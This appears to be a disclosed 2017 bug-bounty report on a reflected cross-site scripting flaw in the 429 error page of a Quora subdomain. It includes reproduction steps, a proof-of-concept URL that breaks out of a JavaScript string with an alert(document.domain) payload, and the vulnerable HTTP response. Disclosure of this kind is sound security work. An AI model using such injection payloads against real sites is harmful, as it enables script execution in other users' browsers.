Quora · Report #189768
[controlsyou.quora.com] 429 Too Many Requests Error-Page XSS
Validstatus
mediumseverity
20upvotes
31 Mar 2017disclosed
How it was found
Summary: XSS on the error page when the user makes too many requests.
Steps To Reproduce
- Make a lot of requests to get the error 429
- Open PoC in FireFox
https://controlsyou.quora.com/'-alert(document.domain)-'
HTTP Response
<script type="text/javascript">
...
ga('set', 'dimension1', 'board-'-alert(document.domain)-'');
ga('set', 'dimension2', 'False');
ga('set', 'dimension3', 'False');});});</script>
Optional: Your Environment (Browser version, Device, app version, os version etc)
Tested on FireFox 50.0.2